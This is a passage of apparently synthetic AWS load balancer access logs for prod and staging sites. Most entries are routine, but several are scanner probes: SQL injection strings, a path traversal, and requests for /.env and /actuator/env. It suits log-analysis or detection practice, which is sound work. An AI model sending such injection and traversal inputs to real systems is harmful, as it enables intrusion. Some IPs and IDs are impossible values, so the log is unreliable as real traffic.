9 2024-11-01T02:19:39.183330Z "forward" "-" "-" "10.0.181.15:443" "200" "-" "-" +https 2024-11-01T02:19:40.318970Z prod-web-alb 43.190.37.233:34186 10.0.121.17:443 0.024194 0.436057 0.065416 301 301 949 11744 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d84c-a6387b9dbe4246f28645c9b6" "prod-web-alb.example.com" "-" 10 2024-11-01T02:19:40.318970Z "forward" "-" "-" "10.0.121.17:443" "301" "-" "-" +https 2024-11-01T02:19:41.772384Z prod-web-alb 103.240.48.228:16733 10.0.52.107:443 0.035813 0.170384 0.020424 404 404 97 7921 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d84d-17e69ac9e6c4421cb95fa559" "prod-web-alb.example.com" "-" 5 2024-11-01T02:19:41.772384Z "forward" "-" "-" "10.0.52.107:443" "404" "-" "-" +https 2024-11-01T02:19:43.424887Z prod-web-alb 48.79.34.233:45951 10.0.37.239:443 0.051202 0.417995 0.049659 404 404 427 5183 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d84f-dfdb7f584e6c4886a8a476dc" "prod-web-alb.example.com" "-" 7 2024-11-01T02:19:43.424887Z "forward" "-" "-" "10.0.37.239:443" "404" "-" "-" +https 2024-11-01T02:19:43.761880Z prod-api-alb 59.236.86.186:29842 10.0.155.188:443 0.031709 0.045965 0.093877 200 200 869 12203 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d84f-07e37e2ff5474f49af4e936a" "prod-api-alb.example.com" "-" 2 2024-11-01T02:19:43.761880Z "forward" "-" "-" "10.0.155.188:443" "200" "-" "-" +https 2024-11-01T02:19:45.235660Z prod-web-alb 45.155.205.109:26468 10.0.14.210:443 0.021898 0.166440 0.067612 403 403 85 14372 "PUT /actuator/env HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d851-5beccf443b95460eb118df82" "-" "-" 6 2024-11-01T02:19:45.235660Z "forward" "-" "-" "10.0.14.210:443" "403" "-" "-" +http 2024-11-01T02:19:46.078848Z staging-alb 185.181.129.31:60810 27.114.35.20:443 0.001168 0.685103 0.089339 403 403 660 6242 "GET /users?id=1 OR 1=1 HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d852-48a251cb4c6c43a39f9e67e3" "-" "-" 4 2024-11-01T02:19:46.078848Z "forward" "-" "-" "27.114.35.20:443" "403" "-" "-" +http 2024-11-01T02:19:47.309156Z staging-alb 54.234.70.239:36599 61.144.103.237:443 0.039628 0.443512 0.126920 200 200 357 8958 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d853-7d0233097f09405db4d03b0a" "staging-alb.example.com" "-" 3 2024-11-01T02:19:47.309156Z "forward" "-" "-" "61.144.103.237:443" "200" "-" "-" +https 2024-11-01T02:19:48.943983Z staging-alb 45.155.205.91:24191 74.179.171.116:8080 0.128748 0.005181 0.022570 302 302 38 8030 "POST /.env HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d854-d96f5554b4964fdb84a325ce" "-" "-" 5 2024-11-01T02:19:48.943983Z "forward" "-" "-" "74.179.171.116:8080" "302" "-" "-" +https 2024-11-01T02:19:49.665459Z staging-alb 221.34.140.79:30404 79.233.36.126:443 0.070639 0.046312 0.115260 200 200 99 14317 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d855-f3b91757c1c649509889f163" "staging-alb.example.com" "-" 4 2024-11-01T02:19:49.665459Z "forward" "-" "-" "79.233.36.126:443" "200" "-" "-" +https 2024-11-01T02:19:51.027568Z prod-web-alb 237.174.117.180:31911 10.0.124.81:443 0.057109 0.332463 0.088450 200 200 605 12812 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d857-ea987563dac24affb24e2488" "prod-web-alb.example.com" "-" 0 2024-11-01T02:19:51.027568Z "forward" "-" "-" "10.0.124.81:443" "200" "-" "-" +http 2024-11-01T02:19:52.639195Z staging-alb 194.125.82.239:44922 243.217.24.221:80 0.061484 0.010399 0.135338 200 200 296 12928 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d858-8bfe39be515f44df8ff3416d" "staging-alb.example.com" "-" 0 2024-11-01T02:19:52.639195Z "forward" "-" "-" "243.217.24.221:80" "200" "-" "-" +http 2024-11-01T02:19:54.421873Z staging-alb 16.97.54.100:31245 77.74.224.98:8080 0.052854 0.689980 0.069182 302 302 588 14128 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d85a-481a6e86315d417a9519c76a" "staging-alb.example.com" "-" 9 2024-11-01T02:19:54.421873Z "forward" "-" "-" "77.74.224.98:8080" "302" "-" "-" +https 2024-11-01T02:19:55.635267Z prod-web-alb 57.147.111.0:35193 10.0.213.112:443 0.011842 0.424726 0.070203 200 200 99 10259 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d85b-dd35df1e1a464205a68f3d26" "prod-web-alb.example.com" "-" 5 2024-11-01T02:19:55.635267Z "forward" "-" "-" "10.0.213.112:443" "200" "-" "-" +https 2024-11-01T02:19:56.396558Z prod-api-alb 86.75.217.1:18900 10.0.94.105:443 0.051604 0.187796 0.016292 200 200 462 4014 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d85c-09831ecb629540d0b37f57a2" "prod-api-alb.example.com" "-" 6 2024-11-01T02:19:56.396558Z "forward" "-" "-" "10.0.94.105:443" "200" "-" "-" +https 2024-11-01T02:19:58.003109Z staging-alb 193.27.228.38:64264 4.23.88.218:8080 0.026755 0.582846 0.125444 403 403 517 3273 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d85e-2890face292b4f63a33b5e5a" "-" "-" 7 2024-11-01T02:19:58.003109Z "forward" "-" "-" "4.23.88.218:8080" "403" "-" "-" +https 2024-11-01T02:19:59.796716Z prod-web-alb 111.96.15.179:11676 10.0.11.74:443 0.053294 0.004449 0.045331 301 301 605 13024 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d85f-67d850af8b1545ad95cb3b88" "prod-web-alb.example.com" "-" 8 2024-11-01T02:19:59.796716Z "forward" "-" "-" "10.0.11.74:443" "301" "-" "-" +https 2024-11-01T02:20:00.065032Z prod-api-alb 214.112.203.206:46830 10.0.21.203:443 0.072582 0.438246 0.073753 404 404 472 1229 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d860-a812430a4aa5415992c975b1" "-" "-" 7 2024-11-01T02:20:00.065032Z "forward" "-" "-" "10.0.21.203:443" "404" "-" "-" +https 2024-11-01T02:20:01.829170Z staging-alb 207.32.244.92:17668 213.30.75.99:443 0.099552 0.055262 0.070582 404 404 500 7212 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d861-2a595579d0a54734921f2a41" "staging-alb.example.com" "-" 3 2024-11-01T02:20:01.829170Z "forward" "-" "-" "213.30.75.99:443" "404" "-" "-" +https 2024-11-01T02:20:03.716104Z prod-api-alb 151.217.173.201:48386 10.0.234.20:443 0.045771 0.107292 0.041489 200 200 424 14863 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d863-1e1adbc4b7444093ab703ddb" "prod-api-alb.example.com" "-" 6 2024-11-01T02:20:03.716104Z "forward" "-" "-" "10.0.234.20:443" "200" "-" "-" +https 2024-11-01T02:20:04.286178Z staging-alb 167.157.126.152:23817 159.127.145.133:443 0.017451 0.675194 0.094437 301 301 32 8203 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d864-334909e73c7444dda11f3ba5" "staging-alb.example.com" "-" 0 2024-11-01T02:20:04.286178Z "forward" "-" "-" "159.127.145.133:443" "301" "-" "-" +http 2024-11-01T02:20:05.498223Z staging-alb 128.147.196.3:27041 34.156.135.201:443 0.028177 0.119310 0.110214 302 302 525 3797 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d865-6fa98998ae86445391a7c33c" "staging-alb.example.com" "-" 7 2024-11-01T02:20:05.498223Z "forward" "-" "-" "34.156.135.201:443" "302" "-" "-" +https 2024-11-01T02:20:06.845272Z prod-api-alb 131.109.60.7:49847 10.0.34.98:443 0.013259 0.023564 0.025518 404 404 390 6741 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d866-eac3ba710f324b7d98c3402e" "prod-api-alb.example.com" "-" 10 2024-11-01T02:20:06.845272Z "forward" "-" "-" "10.0.34.98:443" "404" "-" "-" +https 2024-11-01T02:20:08.440901Z prod-web-alb 63.253.247.146:35603 10.0.228.240:443 0.065095 0.198253 0.093509 200 200 850 14047 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d868-deeb3c54b65d4388ba5d5c53" "prod-web-alb.example.com" "-" 10 2024-11-01T02:20:08.440901Z "forward" "-" "-" "10.0.228.240:443" "200" "-" "-" +https 2024-11-01T02:20:08.971094Z prod-api-alb 78.228.21.42:53446 10.0.15.70:443 0.059922 0.146577 0.014171 200 200 757 12073 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d868-7cbda51ad46048efa7d14151" "prod-api-alb.example.com" "-" 6 2024-11-01T02:20:08.971094Z "forward" "-" "-" "10.0.15.70:443" "200" "-" "-" +https 2024-11-01T02:20:10.120933Z prod-api-alb 250.250.147.220:38756 10.0.40.218:443 0.034370 0.455166 0.050914 302 302 720 2015 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d86a-30e4b6ae8bf9407b9c070df8" "prod-api-alb.example.com" "-" 3 2024-11-01T02:20:10.120933Z "forward" "-" "-" "10.0.40.218:443" "302" "-" "-" +https 2024-11-01T02:20:11.315024Z prod-api-alb 196.98.138.162:11130 10.0.13.204:443 0.085765 0.411279 0.030143 200 200 42 5784 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d86b-9e8802fa396a4995b11b7e4e" "prod-api-alb.example.com" "-" 4 2024-11-01T02:20:11.315024Z "forward" "-" "-" "10.0.13.204:443" "200" "-" "-" +https 2024-11-01T02:20:13.126300Z prod-web-alb 255.9.49.254:58044 10.0.196.205:443 0.082116 0.230171 0.061705 301 301 164 7170 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d86d-91f71b7ee6a640009506c82a" "prod-web-alb.example.com" "-" 3 2024-11-01T02:20:13.126300Z "forward" "-" "-" "10.0.196.205:443" "301" "-" "-" +https 2024-11-01T02:20:13.645892Z prod-web-alb 33.165.188.15:52593 10.0.96.225:443 0.066375 0.219451 0.026800 200 200 895 2511 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d86d-8c1ef0933ab14c6685114f4e" "prod-web-alb.example.com" "-" 7 2024-11-01T02:20:13.645892Z "forward" "-" "-" "10.0.96.225:443" "200" "-" "-" +https 2024-11-01T02:20:14.559086Z prod-web-alb 16.50.62.99:19720 10.0.48.233:443 0.071344 0.366409 0.005201 302 302 761 10276 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d86e-36abe9f38cf54047a47ca8aa" "prod-web-alb.example.com" "-" 7 2024-11-01T02:20:14.559086Z "forward" "-" "-" "10.0.48.233:443" "302" "-" "-" +https 2024-11-01T02:20:15.587419Z prod-web-alb 69.49.99.95:62165 10.0.126.17:443 0.020424 0.334326 0.051629 200 200 306 8884 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d86f-d2e871dbd59d422cb876dda2" "prod-web-alb.example.com" "-" 4 2024-11-01T02:20:15.587419Z "forward" "-" "-" "10.0.126.17:443" "200" "-" "-" +http 2024-11-01T02:20:15.838776Z staging-alb 228.157.55.173:35799 71.20.133.177:80 0.146140 0.653096 0.120082 200 200 42 11957 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d86f-4b0b6b8c485749c6b431aa69" "staging-alb.example.com" "-" 10 2024-11-01T02:20:15.838776Z "forward" "-" "-" "71.20.133.177:80" "200" "-" "-" +https 2024-11-01T02:20:17.613523Z prod-api-alb 158.62.236.1:19091 10.0.198.220:443 0.049178 0.066192 0.033557 200 200 665 6963 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d871-2b14dc761bc84daca0792ba2" "prod-api-alb.example.com" "-" 2 2024-11-01T02:20:17.613523Z "forward" "-" "-" "10.0.198.220:443" "200" "-" "-" +https 2024-11-01T02:20:19.352154Z prod-api-alb 168.179.35.175:60484 10.0.13.191:443 0.096609 0.329367 0.077415 200 200 793 9663 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d873-fe078139a7ff4997a4038ba7" "prod-api-alb.example.com" "-" 8 2024-11-01T02:20:19.352154Z "forward" "-" "-" "10.0.13.191:443" "200" "-" "-" +https 2024-11-01T02:20:20.122344Z staging-alb 132.107.185.38:21282 156.179.115.118:80 0.070350 0.693103 0.093309 200 200 829 3104 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d874-db0e25f2836e45f9af226433" "staging-alb.example.com" "-" 7 2024-11-01T02:20:20.122344Z "forward" "-" "-" "156.179.115.118:80" "200" "-" "-" +https 2024-11-01T02:20:21.628891Z prod-web-alb 66.221.252.3:42146 10.0.167.229:443 0.097901 0.323447 0.060555 200 200 519 4625 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d875-1c009fc1dd224540ab7da575" "prod-web-alb.example.com" "-" 7 2024-11-01T02:20:21.628891Z "forward" "-" "-" "10.0.167.229:443" "200" "-" "-" +https 2024-11-01T02:20:22.790603Z prod-api-alb 127.46.162.51:60425 10.0.59.117:443 0.039697 0.060628 0.055174 200 200 363 5929 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d876-d663cb0eb6c543249b9b39f6" "prod-api-alb.example.com" "-" 6 2024-11-01T02:20:22.790603Z "forward" "-" "-" "10.0.59.117:443" "200" "-" "-" +https 2024-11-01T02:20:24.664407Z prod-web-alb 4.237.178.128:18031 10.0.186.43:443 0.006927 0.056302 0.073544 200 200 638 13259 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d878-de57601786dd4851996a6a92" "-" "-" 9 2024-11-01T02:20:24.664407Z "forward" "-" "-" "10.0.186.43:443" "200" "-" "-" +https 2024-11-01T02:20:26.507785Z prod-api-alb 110.79.166.121:21912 10.0.230.104:443 0.072972 0.117526 0.049365 302 302 514 7778 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d87a-9b0c207c50ad4346bb8d8d7b" "prod-api-alb.example.com" "-" 2 2024-11-01T02:20:26.507785Z "forward" "-" "-" "10.0.230.104:443" "302" "-" "-" +http 2024-11-01T02:20:27.647569Z staging-alb 58.139.115.19:19862 161.58.254.150:8080 0.108399 0.365551 0.085671 200 200 625 8563 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d87b-b947358bbe7b4d30bf306b7c" "staging-alb.example.com" "-" 0 2024-11-01T02:20:27.647569Z "forward" "-" "-" "161.58.254.150:8080" "200" "-" "-" +https 2024-11-01T02:20:29.156103Z staging-alb 164.125.150.155:51627 191.148.19.152:80 0.111950 0.517152 0.032212 200 200 878 1093 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d87d-ae495f979f604614a087441a" "staging-alb.example.com" "-" 8 2024-11-01T02:20:29.156103Z "forward" "-" "-" "191.148.19.152:80" "200" "-" "-" +https 2024-11-01T02:20:29.697584Z staging-alb 230.48.47.3:27422 197.84.125.126:8080 0.097473 0.237888 0.032205 404 404 955 9398 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d87d-756bb9fae55f44d59523a2a0" "staging-alb.example.com" "-" 9 2024-11-01T02:20:29.697584Z "forward" "-" "-" "197.84.125.126:8080" "404" "-" "-" +https 2024-11-01T02:20:31.228978Z prod-api-alb 221.86.163.229:46570 10.0.131.90:443 0.051175 0.120755 0.014200 404 404 564 8664 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d87f-4003e5a654c84a01bfe7c025" "prod-api-alb.example.com" "-" 4 2024-11-01T02:20:31.228978Z "forward" "-" "-" "10.0.131.90:443" "404" "-" "-" +https 2024-11-01T02:20:32.020391Z prod-api-alb 219.214.97.1:34601 10.0.236.83:443 0.053523 0.241961 0.069951 200 200 901 1599 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d880-46ba738a316d4b9a8552255a" "prod-api-alb.example.com" "-" 2 2024-11-01T02:20:32.020391Z "forward" "-" "-" "10.0.236.83:443" "200" "-" "-" +https 2024-11-01T02:20:32.588193Z prod-api-alb 124.110.229.109:32182 10.0.17.166:443 0.090358 0.073218 0.051091 200 200 289 4789 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d880-daaaf862966c4262a836544b" "prod-api-alb.example.com" "-" 10 2024-11-01T02:20:32.588193Z "forward" "-" "-" "10.0.17.166:443" "200" "-" "-" +https 2024-11-01T02:20:33.706540Z prod-web-alb 193.27.228.98:27973 10.0.221.69:443 0.003255 0.190262 0.081355 404 404 864 10739 "GET /static/../../secret HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d881-33c8215b78144b84836ce15d" "-" "-" 7 2024-11-01T02:20:33.706540Z "forward" "-" "-" "10.0.221.69:443" "404" "-" "-" +https 2024-11-01T02:20:35.684254Z prod-web-alb 59.52.36.126:47623 10.0.130.187:443 0.050940 0.196396 0.031253 404 404 740 1348 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d883-77a7eb27107c412bbe12a14c" "prod-web-alb.example.com" "-" 5 2024-11-01T02:20:35.684254Z "forward" "-" "-" "10.0.130.187:443" "404" "-" "-" +http 2024-11-01T02:20:37.608593Z staging-alb 29.103.236.93:47135 7.6.201.195:80 0.066979 0.493408 0.105541 302 302 424 544 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d885-7f7b4d51e07141bfb7b61083" "staging-alb.example.com" "-" 9 2024-11-01T02:20:37.608593Z "forward" "-" "-" "7.6.201.195:80" "302" "-" "-" +https 2024-11-01T02:20:38.935119Z prod-api-alb 139.100.227.134:20890 10.0.151.31:443 0.056231 0.096509 0.067786 200 200 450 7159 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 